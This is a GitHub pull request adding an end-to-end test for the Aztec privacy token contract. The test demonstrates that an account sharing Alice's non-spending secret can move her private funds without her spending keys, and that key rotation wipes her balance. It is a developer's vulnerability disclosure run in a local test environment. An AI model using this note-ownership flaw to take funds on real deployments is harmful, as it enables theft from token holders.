Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

test: add test to showcase private token exploits #7297

Closed
wants to merge 1 commit into from
Closed
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
89 changes: 89 additions & 0 deletions yarn-project/end-to-end/src/e2e_fees/exploit.test.ts
Original file line number Diff line number Diff line change
@@ -0,0 +1,89 @@
import { createAccounts } from '@aztec/accounts/testing';
import { type AccountWallet } from '@aztec/aztec.js';
import { type Fq, type Fr } from '@aztec/circuits.js';
import { PrivateTokenContract } from '@aztec/noir-contracts.js';

import { FeesTest } from './fees_test.js';

describe('e2e_fees/private_refunds', () => {
let aliceWallet: AccountWallet;
let bobWallet: AccountWallet;
let privateToken: PrivateTokenContract;

let accountKeys: [Fr, Fq][] = [];

const t = new FeesTest('private_refunds');

beforeAll(async () => {
await t.applyInitialAccountsSnapshot();
({ aliceWallet, bobWallet, accountKeys } = await t.setup());

// https://media3.giphy.com/media/aqMY57vLdkghi/giphy.gif

privateToken = await PrivateTokenContract.deploy(aliceWallet, aliceWallet.getAddress(), 'PVT', 'PVT', 18n)
.send()
.deployed();

const initialBalance = 10n ** 18n;
await privateToken.methods.privately_mint_private_note(initialBalance).send().wait();
});

afterAll(async () => {
await t.teardown();
});

it('steal funds without spending keys', async () => {
// The BEST approach here would be that we ran entirely different PXE and all. But this is fine to just show that if the PXE is compromised
// I can steal your funds WITHOUT the spending keys!
//
// To show this, we will create a fresh account that have the same secret for non spending keys (so different spending keys), and then we will
// have it make a transfer of Alice funds.
//
// The issue comes from there being no verifiable link between the address/spending keys and the notes. In the other tokens, the map is doing this,
// by inserting the address into the storage slot used.

const nonSpendingSecret = accountKeys[0][0];
const [freshWallet] = await createAccounts(t.pxe, 1, [nonSpendingSecret]);

const balanceAlice = await privateToken.methods.balance_of_private(aliceWallet.getAddress()).simulate();
const balanceBob = await privateToken.methods.balance_of_private(bobWallet.getAddress()).simulate();
const balanceFresh = await privateToken.methods.balance_of_private(freshWallet.getAddress()).simulate();

// Now we do a transfer from Alice to Bob using Fresh (WITHOUT APPROVAL)
const transferAmount = balanceAlice / 2n;
await privateToken.withWallet(freshWallet).methods.transfer(bobWallet.getAddress(), transferAmount).send().wait();

const balanceAliceAfter = await privateToken.methods.balance_of_private(aliceWallet.getAddress()).simulate();
const balanceBobAfter = await privateToken.methods.balance_of_private(bobWallet.getAddress()).simulate();
const balanceFreshAfter = await privateToken.methods.balance_of_private(freshWallet.getAddress()).simulate();

t.logger.info(`Before: Balance Alice: ${balanceAlice}. Balance Bob: ${balanceBob}. Balance Fresh: ${balanceFresh}`);
t.logger.info(
`After: Balance Alice: ${balanceAliceAfter}. Balance Bob: ${balanceBobAfter}. Balance Fresh: ${balanceFreshAfter}`,
);

// They "share" balance!
expect(balanceAliceAfter).toBe(balanceAlice - transferAmount);
expect(balanceFreshAfter).toBe(balanceAliceAfter);

// Bob got some funds!
expect(balanceBobAfter).toBe(transferAmount);
});

it('lose all my funds by rotating my keys', async () => {
// If I rotate my keys, I will lose all my funds. This is because the contract is not taking into account key rotation.
const balanceStart = await privateToken.methods.balance_of_private(aliceWallet.getAddress()).simulate();

// time to rotate my keys
await aliceWallet.rotateNullifierKeys();
for (let i = 0; i < 5; i++) {
await privateToken.methods.private_get_name().send().wait();
}

const balanceEnd = await privateToken.methods.balance_of_unconstrained(aliceWallet.getAddress()).simulate();
t.logger.info(`Balance start: ${balanceStart} -> Balance end: ${balanceEnd}`);

expect(balanceStart).toBeGreaterThan(0n);
expect(balanceEnd).toBe(0n);
});
});
5 changes: 4 additions & 1 deletion yarn-project/end-to-end/src/e2e_fees/fees_test.ts
Original file line number Diff line number Diff line change
Expand Up @@ -14,7 +14,7 @@ import {
createDebugLogger,
} from '@aztec/aztec.js';
import { DefaultMultiCallEntrypoint } from '@aztec/aztec.js/entrypoint';
import { EthAddress, GasSettings, computePartialAddress } from '@aztec/circuits.js';
import { EthAddress, type Fq, GasSettings, computePartialAddress } from '@aztec/circuits.js';
import { createL1Clients } from '@aztec/ethereum';
import { PortalERC20Abi } from '@aztec/l1-artifacts';
import {
Expand Down Expand Up @@ -84,6 +84,8 @@ export class FeesTest {
public readonly SUBSCRIPTION_AMOUNT = 10_000n;
public readonly APP_SPONSORED_TX_GAS_LIMIT = BigInt(10e9);

public accountKeys: [Fr, Fq][] = [];

constructor(testName: string) {
this.logger = createDebugLogger(`aztec:e2e_fees:${testName}`);
this.snapshotManager = createSnapshotManager(`e2e_fees/${testName}`, dataPath);
Expand Down Expand Up @@ -162,6 +164,7 @@ export class FeesTest {
async ({ accountKeys }, { pxe, aztecNode, aztecNodeConfig }) => {
this.pxe = pxe;
this.aztecNode = aztecNode;
this.accountKeys = accountKeys;
const accountManagers = accountKeys.map(ak => getSchnorrAccount(pxe, ak[0], ak[1], 1));
await Promise.all(accountManagers.map(a => a.register()));
this.wallets = await Promise.all(accountManagers.map(a => a.getWallet()));
Expand Down
Loading